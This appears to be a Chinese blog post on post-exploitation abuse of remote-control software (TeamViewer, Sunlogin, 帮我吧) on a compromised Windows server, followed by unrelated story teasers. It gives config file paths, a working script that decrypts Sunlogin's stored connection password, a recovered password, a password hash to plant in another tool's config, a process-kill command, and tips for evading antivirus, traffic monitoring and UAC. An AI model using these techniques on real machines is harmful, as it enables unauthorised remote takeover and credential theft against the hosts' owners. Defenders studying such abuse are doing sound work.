内网渗透-远控类软件利用

简介

对渗透中遇到的远控类软件的利用方式整理。

靶机环境

操作系统:windows server 2012
中间件:tomcat
杀软:卫士+杀毒
默认权限:administrator

Teamviewer

实战中经常遇到的一款远控软件,用户数量高。
可以通过ID和密码进行无人值守访问。

进程信息:

TeamViewer.exe
tv_w32.exe
tv_x64.exe

内存getpass

利用场景:拿到webshell权限,想上线cs,发现主机存在杀软,bypass失败。
通过查看进程信息发现存在Teamviewer。



管理员在线。



上传工具读取密码。

利用获取到的密码成功连接到目标主机的桌面。


绿色版Teamviewer

TeamViewer QuickSupport版



首次运行需要同意协议。


实战使用需要把首次运行同意协议步骤进行绕过,然后上传到目标主机运行,然后抓取密码连接,感兴趣的可以研究下。

向日葵

利用场景:查看进程发现存在向日葵,寻找配置文件,破解本机验证码,连接向日葵。

进程信息:

本机验证码读取

向日葵在最近的更新中加强了加密机制,删除了config.ini中的encry_pwd(本机验证码)。

v11.1.2.38529之前的版本,连接信息保存在配置文件中,可进行解密。
向日葵默认配置文件路径:

安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini

解密脚本
pip3 install unicorn

import base64
import struct

from ConstCode import *


class KeyBlock:
    __base = "%^$^GHsgjdsad24dffgjkdhw4"

    __key: bytes = None

    @staticmethod
    def new_block(sun_login_code: str = ""):
        if len(sun_login_code) > 31:
            raise Exception("invalid key")
        result = KeyBlock()
        temp = sun_login_code + result.__base
        size = struct.pack("<I", len(temp))
        for i in range(56 - len(temp)):
            temp += "\x00"
        result.__key = bytes(temp.encode() + size)
        return result

    def get_result(self) -> bytes:
        return self.__key


class Init(Base):
    __key: bytes = None

    def __init__(self, key_block: KeyBlock):
        self.__key = key_block.get_result()
        super().__init__()

    def on_create(self):
        obj = self._get_handle()
        obj.mem_map(self._code_ptr, align(len(init_code)))
        obj.mem_write(self._code_ptr, init_code)

        obj.mem_map(self._data_ptr, 0x2000)
        obj.mem_write(self._data_ptr, bytes(self.__key))
        obj.reg_write(unicorn.x86_const.UC_X86_REG_RCX, self._data_ptr)

    def get_result(self) -> bytes:
        return bytes(self._get_handle().mem_read(self._data_ptr + 60, 0x2000 - 60))


class Decrypt(Base):
    __save_ptr = 0x100000

    def __init__(self, encoded_data, box):
        self.__encoded_data = encoded_data
        self.__box = box
        super().__init__()

    def on_create(self):
        obj = self._get_handle()
        obj.mem_map(self._code_ptr, align(len(decrypt_code)))
        obj.mem_write(self._code_ptr, decrypt_code)

        obj.mem_map(self._data_ptr, 0x2000)
        obj.mem_write(self._data_ptr, self.__box)
        obj.reg_write(unicorn.x86_const.UC_X86_REG_RDX, self._data_ptr)

        obj.mem_map(self.__save_ptr, align(len(self.__encoded_data)))
        obj.mem_write(self.__save_ptr, self.__encoded_data)
        obj.reg_write(unicorn.x86_const.UC_X86_REG_R8, self.__save_ptr)
        obj.reg_write(unicorn.x86_const.UC_X86_REG_R9, int(len(self.__encoded_data) / 8))

    def get_result(self) -> bytes:
        return self._get_handle().mem_read(self.__save_ptr, len(self.__encoded_data))

encry_pwd = 'rwOCS8ozdLo='


print("解密成功: "+Decrypt(base64.b64decode(encry_pwd),
              Init(KeyBlock.new_block('')).start()).start().decode())

绿色版利用

利用场景:
1、杀软白名单策略,常规免杀方法无法绕过。
2、存在流量设备,常规frp,nps,cs,reGeorg等被ban,无法带入内网。

向日葵首次运行提示是否安装。



需要鼠标点击以绿色版运行


使用bypass方法绕过,上传SunloginClient.exe到靶机服务器运行。


image.png

查看绿色版配置文件
C:\ProgramData\Oray\SunloginClient\config.ini

encry_pwd=TB0W65ETAR4=
fastcode=k165034706

使用脚本破解encry_pwd



识别码为:165034706
密码为:LlOa4Z
连接成功。


帮我吧

北京金万维科技有限公司开发的一款产品,分为客服端和客户端。
可以通过设置连接密码进行无人值守访问。
进程信息:

UserClient.exe

配置文件默认路径

C:\GNWay\OSP\UserClient\config.ini

uniqueid 为连接的id
connect_password= 为设置的连接密码加密hash
random_password= 为明文连接密码
2个密码都可以连接使用

默认安装后未设置连接密码,不支持无人值守访问。



高版本

特点:运行过程中动态加载配置文件
利用方式:直接在配置文件中添加连接密码,进行无人值守访问。
1、设置random_password=666666


重新连接,输入设置的密码信息。



连接成功。


2、设置random_password
本地搭建客户端,设置连接密码999999。



查看本地配置文件中加密后的hash为
connect_password=5eec351934af7678a852ade9efc74133



修改目标主机的配置文件中的参数连接即可。
connect_password为5eec351934af7678a852ade9efc74133

低版本

特点:只在开始运行时加载配置文件
无random_password只能通过修改connect_password连接。
利用方式:结束进程,修改配置文件,重新运行。
1、结束进程

taskkill /pid 84636  -t  -f

2、修改配置文件内容
connect_password为5eec351934af7678a852ade9efc74133(999999)
3、重新启动即可用密码连接。

坑点

1、uac
非server服务器运行向日葵需要bypass uac


2、用户不在线的情况,需要密码登录。



这个点导致利用起来比较鸡肋,适用于隧道流量无法绕过等一些极端情况,可以选择免杀读密码/免杀加用户然后登录。

总结

整理了最近遇到的几个内网远控存在利用的点,利用相对鸡肋,适用于某些极端情况下使用。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,378评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,356评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,702评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,259评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,263评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,036评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,349评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,979评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,469评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,938评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,059评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,703评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,257评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,262评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,485评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,501评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,792评论 2 345

推荐阅读更多精彩内容